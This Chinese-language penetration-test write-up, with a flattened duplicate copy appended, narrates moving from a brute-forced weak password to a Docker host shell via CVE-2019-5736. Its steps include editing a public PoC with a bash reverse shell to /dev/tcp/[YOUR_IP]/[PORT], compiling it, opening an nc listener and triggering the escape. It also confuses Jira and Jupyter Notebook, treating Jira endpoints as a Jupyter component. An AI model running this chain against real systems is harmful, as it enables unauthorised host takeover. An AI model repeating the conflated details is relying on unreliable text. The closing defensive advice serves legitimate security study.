偶然的一次渗透从弱口令->docker逃逸
字数 1262 2025-08-18 11:36:47

Docker逃逸实战:从弱口令到容器逃逸

0x01 前言

本文记录了一次完整的渗透测试过程,从发现弱口令漏洞开始,最终通过Docker逃逸技术获取宿主机权限。整个过程涉及信息收集、漏洞利用、Docker环境识别和容器逃逸技术。

0x02 前期信息收集

目标系统架构

  • 操作系统: Ubuntu
  • Web服务器: Nginx + Java
  • 开放端口: 80, 443

目录扫描结果

扫描发现了以下关键目录:

  1. /jira/ - Jupyter Notebook组件
  2. /gitlab/ - GitLab服务
  3. /owncloud/ - OwnCloud云存储
  4. /confluence/ - Confluence协作平台

0x03 漏洞测试

Jupyter Notebook组件测试

  1. 尝试未授权访问漏洞(已修复)

  2. 发现两个信息泄露漏洞:

    • /jira/secure/ViewUserHover.jspa?username=admin
    • /jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true
  3. 通过信息泄露获取用户列表,爆破出用户"Kevin"

突破点

尝试使用弱密码"123456"成功登录Jupyter Notebook组件

0x04 Docker环境识别

  1. 通过New->Terminal进入命令行
  2. 在根目录发现.dockerenv文件
  3. 检查系统进程的cgroup信息确认Docker环境

0x05 Docker逃逸技术

利用CVE-2019-5736漏洞

  1. 漏洞原理:该漏洞允许容器内用户通过覆盖宿主机上的runc二进制文件实现逃逸
  2. 需要条件:
    • 能够执行任意命令
    • 能够上传文件到容器
    • 能够重新进入容器

利用步骤

  1. 获取POC代码:https://github.com/Frichetten/CVE-2019-5736-PoC
  2. 修改main.go中的反弹shell命令:
    command := "/bin/bash -c 'bash -i >& /dev/tcp/[YOUR_IP]/[PORT] 0>&1'"
    
  3. 编译POC(需要Go环境):
    go build main.go
    
  4. 上传编译后的exp到目标服务器
  5. 在VPS上设置监听:
    nc -lvnp [PORT]
    
  6. 在目标容器中执行exp
  7. 重新进入Jupyter Notebook的终端界面触发漏洞
  8. 成功获取宿主机shell

结语

  1. 该漏洞利用需要重新进入容器才能触发
  2. 实际利用中可能会遇到端口问题,需要尝试不同端口
  3. 此漏洞利用可能导致Docker服务崩溃
  4. 发现漏洞后应及时报告,避免进一步渗透

防御建议

  1. 避免使用弱密码
  2. 及时更新Docker和runc版本
  3. 限制容器内用户的权限
  4. 定期检查容器环境的安全配置
  5. 修复信息泄露漏洞

参考资源

  1. CVE-2019-5736漏洞分析:https://www.freebuf.com/articles/web/258398.html
  2. 官方POC代码:https://github.com/Frichetten/CVE-2019-5736-PoC
  3. Docker安全最佳实践:https://docs.docker.com/engine/security/
Docker逃逸实战:从弱口令到容器逃逸 0x01 前言 本文记录了一次完整的渗透测试过程,从发现弱口令漏洞开始,最终通过Docker逃逸技术获取宿主机权限。整个过程涉及信息收集、漏洞利用、Docker环境识别和容器逃逸技术。 0x02 前期信息收集 目标系统架构 操作系统: Ubuntu Web服务器: Nginx + Java 开放端口: 80, 443 目录扫描结果 扫描发现了以下关键目录: /jira/ - Jupyter Notebook组件 /gitlab/ - GitLab服务 /owncloud/ - OwnCloud云存储 /confluence/ - Confluence协作平台 0x03 漏洞测试 Jupyter Notebook组件测试 尝试未授权访问漏洞(已修复) 发现两个信息泄露漏洞: /jira/secure/ViewUserHover.jspa?username=admin /jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true 通过信息泄露获取用户列表,爆破出用户"Kevin" 突破点 尝试使用弱密码"123456"成功登录Jupyter Notebook组件 0x04 Docker环境识别 通过New->Terminal进入命令行 在根目录发现 .dockerenv 文件 检查系统进程的cgroup信息确认Docker环境 0x05 Docker逃逸技术 利用CVE-2019-5736漏洞 漏洞原理:该漏洞允许容器内用户通过覆盖宿主机上的runc二进制文件实现逃逸 需要条件: 能够执行任意命令 能够上传文件到容器 能够重新进入容器 利用步骤 获取POC代码:https://github.com/Frichetten/CVE-2019-5736-PoC 修改main.go中的反弹shell命令: 编译POC(需要Go环境): 上传编译后的exp到目标服务器 在VPS上设置监听: 在目标容器中执行exp 重新进入Jupyter Notebook的终端界面触发漏洞 成功获取宿主机shell 结语 该漏洞利用需要重新进入容器才能触发 实际利用中可能会遇到端口问题,需要尝试不同端口 此漏洞利用可能导致Docker服务崩溃 发现漏洞后应及时报告,避免进一步渗透 防御建议 避免使用弱密码 及时更新Docker和runc版本 限制容器内用户的权限 定期检查容器环境的安全配置 修复信息泄露漏洞 参考资源 CVE-2019-5736漏洞分析:https://www.freebuf.com/articles/web/258398.html 官方POC代码:https://github.com/Frichetten/CVE-2019-5736-PoC Docker安全最佳实践:https://docs.docker.com/engine/security/